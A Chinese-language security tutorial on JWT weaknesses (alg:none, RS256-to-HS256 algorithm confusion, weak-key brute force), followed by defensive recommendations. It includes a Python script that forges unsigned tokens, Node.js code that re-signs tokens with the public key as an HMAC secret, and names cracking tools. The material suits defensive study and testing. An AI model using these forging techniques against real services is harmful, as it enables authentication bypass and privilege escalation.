JWT Token安全漏洞分析与绕过技巧
概述
JSON Web Token(JWT)作为现代Web应用中常用的身份认证与授权机制,凭借其轻量、易用和无状态的特性,被广泛应用于分布式系统和微服务架构中。然而,JWT的设计和实现中若存在安全隐患,容易导致认证绕过、权限提升甚至敏感数据泄露。本文旨在深入解析JWT的安全漏洞及其绕过技巧,结合实战步骤和代码示例,帮助安全研究人员和开发者更好地理解和防御相关攻击。
JWT基本原理与结构
JWT由三部分组成:
- Header(头部):描述签名算法与Token类型
- Payload(负载):包含声明(Claims),如用户身份、权限等信息
- Signature(签名):通过指定算法对Header与Payload签名,保证完整性和真实性
示例格式:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 // Header
.
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ // Payload
.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c // Signature
JWT的安全依赖于签名算法的强度以及服务端对算法的正确校验。
JWT常见安全漏洞分析
1. 算法混淆漏洞(Alg None)
JWT规范允许alg: none,代表不进行签名验证。这被攻击者利用,伪造无签名Token直接通过验证。如果服务端错误地接受了alg: none,攻击者即可伪造任意Payload绕过认证。
根因
- 服务端未严格限制允许的算法列表
- 信任客户端传入的Alg字段
2. 对称与非对称算法混用漏洞
JWT支持对称(如HS256)和非对称(如RS256)签名算法。攻击者通过将alg从RS256修改为HS256,再用公钥作为HMAC的密钥进行签名,若服务端错误验证,会导致攻击绕过。
根因
- 服务端使用同一个密钥库验证不同算法
- 未对算法类型进行严格区分与校验
3. 弱密钥/泄露密钥导致签名破坏
密钥过于简单或被泄露时,攻击者可以计算有效签名,伪造合法Token。
根因
- 使用易猜测的密钥
- 密钥管理松懈导致泄露
4. 不安全的Token存储与传输
Token存储在浏览器localStorage或传输过程中未加保护,容易被XSS或中间人攻击窃取。
根因
- 浏览器存储不当
- 未使用HTTPS传输
5. Payload未加密,敏感信息泄露
JWT默认Payload未加密,所有声明均可被Base64解码。若包含敏感信息,容易泄露隐私。
JWT绕过实战技巧
技巧一:利用Alg None绕过
测试目标是否支持alg: none绕过:
- 解码目标Token,修改Header中的
alg为none。 - 删除Signature部分,形成结构:
Header.Payload.。 - 使用修改后的Token访问接口,观察是否验证成功。
示例代码(Python):
import base64
import json
def base64url_encode(data):
return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8')
token = '原始Token'
header, payload, signature = token.split('.')
header_json = json.loads(base64.urlsafe_b64decode(header + '=='))
header_json['alg'] = 'none'
new_header = base64url_encode(json.dumps(header_json).encode())
new_token = f"{new_header}.{payload}."
print(f"绕过Token: {new_token}")
技巧二:算法混淆攻击(RS256 → HS256)
针对服务端支持RS256签名:
- 从认证服务中提取公钥(通常是
.pem格式的公钥)。 - 将Token Header中的
alg修改为HS256。 - 使用公钥内容作为HMAC的密钥重新签名Payload。
- 用新的Token绕过验证。
示意流程:
原Header:
{ "alg": "RS256", "typ": "JWT" }修改为:
{ "alg": "HS256", "typ": "JWT" }
技巧三:暴力破解HS256密钥
利用字典攻击或在线生成器针对弱密钥特征爆破,生成有效签名。
工具推荐:jwt_tool、jwt-cracker等。
代码示范:JWT验证弱点利用演示(Node.js)
const jwt = require('jsonwebtoken');
const fs = require('fs');
// 模拟JWT发放与验证
const privateKey = fs.readFileSync('./private.pem');
const publicKey = fs.readFileSync('./public.pem');
// 使用RSA签名Token
const token = jwt.sign({ user: "admin" }, privateKey, { algorithm: 'RS256' });
console.log("原始Token:", token);
// 攻击者修改alg为HS256,伪造Token
const decode = jwt.decode(token, { complete: true });
decode.header.alg = "HS256";
// 使用publicKey作为HMAC密钥重新签发
const forgedToken = jwt.sign(decode.payload, publicKey, { algorithm: 'HS256', header: decode.header });
console.log("伪造Token:", forgedToken);
// 服务器使用RSA验证 (错误配置下,可能被HS256伪造绕过)
try {
const verified = jwt.verify(forgedToken, publicKey, { algorithms: ['RS256'] });
console.log("验证通过:", verified);
} catch (err) {
console.log("验证失败:", err.message);
}
防御建议
1. 强制服务端验证算法白名单
- 仅允许使用已知安全算法(推荐HS256/HS512或RS256/ES256)
- 不信任客户端传入的
alg字段,直接在服务端硬编码算法
示例:
jwt.verify(token, secretOrPublicKey, { algorithms: ['RS256'] });
2. 切勿支持alg: none
- 禁止解析
alg: none的Token - 及时升级JWT库版本,避免历史漏洞
3. 密钥管理强化
- 采用强随机生成密钥(至少128位熵)
- 定期轮换密钥、避免硬编码
- 使用硬件安全模块(HSM)存储密钥
4. 严格区分对称与非对称密钥
- HS系列算法使用对称密钥
- RS/ECDSA系列算法使用私钥签名、公钥验证
- 验签时区分算法,避免混淆
5. 安全传输和存储
- 使用HTTPS保障Token传输安全
- 通过HttpOnly、Secure属性的Cookie存储Token,避免XSS窃取
- 避免在Payload中存放敏感数据,必要时加密存储
6. 启用短生命周期Token并结合刷新机制
- 减少单个Token被滥用时间窗口
- 结合RefreshToken机制强化安全控制
总结
JWT虽然设计简洁且应用广泛,但其安全机制复杂且易用不当导致漏洞频发。服务端必须严格控制签名算法和密钥的管理,避免算法混淆和alg: none族漏洞的发生。攻击者常利用服务端不严谨的验证策略轻松伪造Token,实现认证绕过或权限提升。通过本文的漏洞剖析、绕过技巧以及示例代码,读者可更深入理解JWT安全风险,结合防御建议,构建更为稳健的认证体系,保障应用安全。
参考资料
- JWT官方规范(RFC 7519)
- OWASP JWT Cheat Sheet
- 安全社区公开漏洞报告与分析文章
本文作者为资深网络安全专家,致力于身份认证安全与应用渗透测试技术研究。